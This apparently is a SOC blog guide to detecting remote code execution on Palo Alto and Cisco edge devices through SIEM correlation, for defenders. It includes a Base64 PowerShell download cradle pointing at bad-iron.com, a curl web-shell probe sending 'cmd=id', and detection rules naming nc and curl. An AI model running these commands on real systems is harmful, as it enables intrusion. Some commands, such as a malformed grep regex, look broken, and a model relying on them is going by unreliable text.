During a recent incident response engagement for a Tier-1 Indian financial institution, I observed a series of anomalous POST requests targeting a Palo Alto PA-5220 cluster. The telemetry indicated a zero-day exploitation attempt leveraging CVE-2024-3400, where unauthenticated command injection was possible via the GlobalProtect service. We identified that the attacker was utilizing path traversal to write arbitrary files to the filesystem, which were subsequently executed by the device's management plane.
Defining RCE: Why it remains a top-tier security threat
Remote Code Execution (RCE) represents the apex of the exploit hierarchy because it bypasses the traditional authentication perimeter. In the context of network edge devices like Palo Alto firewalls or Cisco IOS XE routers, an RCE allows an adversary to gain a foothold in the "trusted" zone of the network. We categorize these as critical because they often appear at the top of the OWASP Top 10 and provide the attacker with root-level or privilege 15 access, effectively turning the security gateway into a pivot point for lateral movement.
The severity is amplified in Indian infrastructure where many organizations utilize "flat" networks. Once the edge device is compromised, the lack of internal segmentation allows for rapid spread. In our testing, we found that successful RCE on a gateway device often leads to full domain compromise within 4 hours if the SIEM is not tuned to catch the initial "probing" phase.
The critical role of SIEM in the modern SOC for exploit detection
A Security Information and Event Management (SIEM) system is often the only place where disparate data points—like a weird HTTP request and a subsequent spike in SSH traffic—converge. For RCE detection, the SIEM must do more than just aggregate logs; it must perform stateful correlation. We rely on the SIEM to track the session from the initial external handshake to the internal process execution.
In the case of Cisco CVE-2023-20198, the SIEM was instrumental in identifying the creation of unauthorized local user accounts. While the individual log for "user created" might seem like routine admin activity, correlating it with an external IP that has no prior history with the management UI is what flags it as a high-fidelity alert. Without this correlation, these events are lost in the noise of 50,000+ daily events.
How RCE attacks manifest in system and network logs
RCE attacks rarely leave a single "smoking gun" log entry. Instead, they leave a trail of breadcrumbs across multiple log facilities. On a Palo Alto device, we look for anomalies in the gpsvc.log and the system.log. An attacker exploiting a command injection vulnerability will often trigger a shell process that is child to a web server or management service.
In Cisco IOS XE environments, the manifestation is often seen in the web server logs (if enabled) or the AAA (Authentication, Authorization, and Accounting) logs. We've observed that attackers often clear the command history, but the SIEM can still capture the underlying process execution if the device is configured to stream telemetry via NetFlow or IPFIX. The delta between "expected management traffic" and "observed traffic" is our primary indicator.
Web Server Logs: Identifying malicious payloads in HTTP requests
Most modern RCEs on network gear target the Web UI or management interface. We look for specific patterns in the URI and the request body. For CVE-2024-3400, the pattern involves path traversal sequences. We use the following grep command to audit local logs before they are ingested into the SIEM:
grep -E '"[^"]\/global-protect\/.\\.\\.\/"' /var/log/pan/gpsvc.logWhen analyzing these logs in the SIEM, we filter for HTTP 200 responses where the URI contains characters like ;, |, &, or $(). These characters suggest the attacker is attempting to break out of the intended application logic, a behavior often monitored via advanced web monitoring. In the Indian context, we frequently see these attacks originating from VPS providers in neighboring regions, often targeting the /php/utils/debug.php or similar hidden utility scripts.
Endpoint Logs: Monitoring process creation and command-line arguments
If the SIEM is ingesting logs from the underlying OS of the network appliance (often a hardened Linux distribution), we monitor the auditd logs or equivalent. We specifically look for the spawning of sh, bash, python, or perl from parent processes like httpd or nginx. This is a classic indicator of a web shell or a successful injection.
We use the following logic to identify suspicious process execution in a Linux-based management plane:
selection:
ParentImage|endswith: - '/httpd' - '/nginx' - '/apache2' Image|endswith: - '/sh' - '/bash' - '/nc' - '/python' - '/curl' condition: selection
This rule is highly effective because under normal operation, a web server should never need to spawn a netcat (nc) instance or a Python interpreter to serve a management page. If we see curl being used by the web server process, it almost always indicates a second-stage payload download.
Network Logs: Detecting reverse shells and lateral movement
Once the RCE is successful, the attacker needs to maintain access. This is usually achieved via a reverse shell. From a network log perspective (Firewall Traffic logs or NetFlow), we look for an internal management IP initiating an outbound connection to an external IP on a non-standard port (e.g., 4444, 8080, or 1337).
We also monitor for "Beaconing" behavior, where the compromised device checks in with a Command and Control (C2) server at regular intervals. In Indian SOCs, we've noticed a trend where attackers use popular cloud storage APIs (like Google Drive or Telegram) as C2 channels to bypass traditional IP-based blacklists. Detecting this requires SSL/TLS inspection and the analysis of SNI (Server Name Indication) fields in the logs.
Application Logs: Spotting deserialization errors and stack traces
Insecure deserialization is a frequent root cause for RCE in Java-based management consoles (common in SD-WAN controllers). We monitor application logs for large stack traces, specifically those mentioning java.io.ObjectInputStream or org.apache.commons.collections. These often precede a crash or a successful exploit.
If the logs show a 500 Internal Server Error followed immediately by a new user creation event, we treat this as a confirmed compromise. We recommend setting up a SIEM alert that triggers when an application error is followed by a successful POST /api/v1/users within a 60-second window.
Suspicious process spawning: cmd.exe or bash from web servers
The most reliable IoC for RCE is the execution of a shell from a high-privilege service. In Windows-based management environments, we look for cmd.exe /c or powershell.exe -enc. In Palo Alto's PAN-OS, we look for unexpected writes to the /var/appweb/ssldocs/ directory, which is often used to host the web interface and can be exploited to drop a permanent web shell.
We can test for the presence of these shells using a simple curl command if we suspect a device is already compromised:
curl -k -X POST https://<target_ip>/php/utils/debug.php -d 'cmd=id'If the response contains uid=0(root), the RCE is confirmed. The SIEM should be configured to flag any HTTP response body that contains strings like uid=, gid=, or groups= when associated with the management interface.
Encoded command execution: Decoding Base64 and PowerShell flags
Attackers use Base64 encoding to bypass simple string-matching WAFs and SIEM rules. However, the presence of the -e, -enc, or -EncodedCommand flag in a process log is itself a high-fidelity IoC. We use SIEM-native functions (like Splunk's base64() or Elastic's base64_decode) to decode these commands in real-time.
For example, an attacker might run:
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand SUVYIChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vYmFkLWlyb24uY29tL3NoZWxsLnBzMScpThe decoded string reveals a download and execute cradle. Our SIEM rules are designed to trigger on the length of the encoded string; anything over 128 characters in a command-line argument is automatically sent for manual review in our Tier-2 SOC.
Unexpected outbound connections to known malicious C2 infrastructure
We integrate threat intelligence feeds specifically curated for the Indian threat landscape. This includes IP addresses associated with known APT groups targeting Indian government and financial sectors. If a Cisco router with an exposed Web UI (CVE-2023-20198) initiates a connection to an IP in a known "bulletproof" hosting range, which can be detected using MFA proxy bypass detection rules, the SIEM generates a P1 incident.
To check if your Cisco devices are currently exposed to the specific vulnerability used to create unauthorized accounts, we use Nmap scripts:
nmap -p 443 --script http-vuln-cve2023-20198 <target_ip>If the script returns "Vulnerable", we immediately cross-reference the device's show running-config to see if the HTTP server is active:
show running-config | include ip http server|ip http secure-serverFile integrity changes in sensitive application directories
Modern SIEMs can ingest File Integrity Monitoring (FIM) events. For Palo Alto devices, any modification to the /var/log/pan/ or /etc/passwd should be treated as a critical breach. During the GlobalProtect exploit, attackers modified the session_id handling logic. While we cannot always monitor the file system of a closed-source appliance in real-time, we can monitor the logs that indicate file system changes or "Configuration Committed" events that were not initiated by a known admin user.
Mapping RCE detection to the MITRE ATT&CK framework
We align our SIEM logic with specific MITRE techniques to ensure comprehensive coverage. For RCE, the primary mappings are:
- T1190: Exploit Public-Facing Application (Initial Access)
- T1059.004: Command and Scripting Interpreter: Unix Shell (Execution)
- T1505.003: Server Software Component: Web Shell (Persistence)
- T1021.002: Remote Services: SMB/Windows Admin Shares (Lateral Movement)
By tagging our SIEM alerts with these IDs, we can generate a heat map of the attack surface. If we see a cluster of T1190 alerts across our Cisco edge, followed by T1021 alerts on internal servers, we know we are dealing with a successful breach and pivot.
Building logic for multi-stage exploit detection
A single log entry is rarely enough for a high-confidence RCE alert. We use correlation searches that look for a sequence of events. For example, a "Sequence of RCE" rule might look like this:
- Event A: Web server log shows a 404 or 500 error with a path traversal string (
../). - Event B: Within 5 minutes, a new process (
sh,python) is spawned by the web server user (www-dataornobody). - Event C: Within 10 minutes, the device initiates an outbound connection to an external IP on port 443 that is not a known update server.
This multi-stage logic significantly reduces the burden on SOC analysts by filtering out automated scanners that fail to actually execute code.
Reducing false positives: Distinguishing admin activity from exploits
One of the biggest challenges in Indian enterprise environments is the use of non-standard ports and local scripts for legitimate administration. To reduce noise, we implement "Known Good" baselining. We whitelist the IP addresses of the jump servers or team SSH access management platforms.
Any "suspicious" command (like tcpdump or nc) executed from a whitelisted admin IP is logged but does not trigger a P1 alert. However, if that same command is executed from an IP outside the management subnet, it is blocked and investigated. We also use the user_agent string in web logs to distinguish between a legitimate browser and a Python-based exploit script.
Leveraging behavioral baselining to identify anomalous execution
We use Machine Learning (ML) modules in the SIEM to baseline the "normal" volume of management traffic. For a Cisco IOS XE device, we know that typically, only 50-100 KB of data is exchanged during a GUI management session. If an RCE occurs and the attacker begins exfiltrating the configuration or the NTDS.dit file from a nearby domain controller, the data volume will spike to megabytes or gigabytes. The SIEM flags this volume anomaly as a potential data exfiltration event following an RCE.
Initial Triage: Validating the alert and identifying the entry point
When an RCE alert triggers, the first step is to confirm if the exploit was successful. We look at the HTTP response code. A 200 OK is much more concerning than a 403 Forbidden. We then identify the source IP. In several cases involving Indian SMEs, we found that the source IP was another compromised device within the same ISP's network, indicating a localized "worm" behavior.
We use the SIEM to pivot from the alert to the raw logs for that specific source_ip over the last 24 hours. This helps us see if the attacker was performing reconnaissance (scanning) before the actual exploit attempt.
Log Normalization: Correlating disparate data sources for a unified timeline
Network devices, Linux servers, and Windows hosts all log timestamps differently. Some use UTC, others use IST (UTC+5:30). We ensure the SIEM normalizes all timestamps to a single standard. This is critical when we need to reconstruct the timeline of an attack that started on a Cisco router and moved to a Windows SQL server.
We use the transaction command in Splunk or composite queries in Elasticsearch to group logs by the source_ip and destination_ip. This allows us to see the "story" of the attack in a single view.
Impact Assessment: Determining the scope of the execution
To determine what the attacker did after gaining RCE, we look for "post-exploitation" logs. Did they add a new user? Did they change the firewall rules? On Palo Alto, we check the config log for any set commands. On Cisco, we check the archive config-log if it was enabled.
If the RCE was used to deploy a containerized backdoor, we use kubectl to check for unauthorized pods if the management plane is running on Kubernetes (common in newer PAN-OS versions):
kubectl get pods -n kube-system | grep -E 'pan-mgmt|cisco-vmanage'Forensic Preservation: Extracting evidence from SIEM archives
Under the Indian DPDP Act 2023 and the CERT-In directives, organizations are required to report significant cyber incidents within 6 hours. This means we must quickly extract and preserve the evidence. We use the SIEM to generate a "Forensic Package" containing all logs related to the compromised IP, the exploit payload, and the subsequent lateral movement. This package is then cryptographically hashed to ensure chain of custody for legal and regulatory compliance.
Log filtering at the source to reduce noise
High-volume logs like "Traffic Allowed" can overwhelm a SIEM and increase ingestion costs (which are significant for Indian firms operating on tight budgets). We implement filtering at the Syslog-ng or Fluentd layer. We only send "Traffic Denied" and "Management Plane" logs to the SIEM for full indexing. "Traffic Allowed" logs are sent to a cheaper "cold storage" (like an S3 bucket or a local Hadoop cluster) and are only queried during a deep-dive investigation.
Indexing strategies for faster RCE query response times
RCE investigations require searching through millions of records. We optimize this by creating "Summary Indexes" for common IoCs like cmd.exe or /bin/sh. Searching a summary index is 10-100x faster than searching the raw data. We also ensure that fields like src_ip, dest_ip, and request_uri are properly indexed as "dimensions" to allow for rapid filtering.
Integrating Threat Intelligence feeds for real-time IP and hash matching
We utilize the CERT-In botnet cleaning center (Cyber Swachhta Kendra) feeds and other commercial threat intel. By automating the lookup of every external IP that hits our management interfaces against these feeds, we can preemptively block or alert on known malicious actors. For RCE, we also look for file hashes of common web shells (like China Chopper or Godzilla) in any file-write logs captured by the SIEM.
Automating containment: Isolating compromised hosts via SIEM triggers
When the SIEM detects a high-confidence RCE (e.g., a web server spawning a shell), we don't wait for an analyst to wake up. We use SOAR (Security Orchestration, Automation, and Response) to trigger an immediate containment action. This might involve:
- Adding the attacker's IP to a "Global Block" list on all edge firewalls.
- Shunting the compromised management interface to a "Quarantine" VLAN.
- Disabling the compromised local admin account.
For Palo Alto devices, we can automate this via the XML API:
import requestsdef block_ip(target_firewall, api_key, malicious_ip): url = f"https://{target_firewall}/api/?type=config&action=set&key={api_key}&xpath=/config/devices/entry[@name='localhost.localdomain']/vsys/entry[@name='vsys1']/address/entry[@name='Blocked_IP_{malicious_ip}']&element=<ip-netmask>{malicious_ip}/32</ip-netmask>" response = requests.get(url, verify=False) return response.status_code
Example usage
block_ip("10.0.1.1", "YOUR_API_KEY", "1.2.3.4")
Streamlining incident response with automated playbooks
Our SOAR playbooks automatically gather context. When an RCE alert fires, the playbook pulls the latest vulnerability scan report for that device, checks if it has been patched for the relevant CVE (like CVE-2024-3400), and identifies the business owner. This reduces the "Mean Time to Respond" (MTTR) from hours to minutes, which is vital for staying within the 6-hour CERT-In reporting window.
Continuous improvement: Tuning SIEM rules post-incident
After every RCE attempt—successful or not—we perform a "Detection Gap Analysis". We ask: "What was the first log that showed the attack?" and "Could we have caught it earlier?". We then tune our regex patterns and correlation logic. For example, we might find that the attacker used a slightly different path traversal string that our initial rule missed. We update the SIEM rule to include the new pattern, ensuring the same technique cannot be used against us twice.
Next Command: Monitor the output of debug management-server on debug on PAN-OS devices during a maintenance window to capture the exact payload structure of incoming management requests for further SIEM signature development.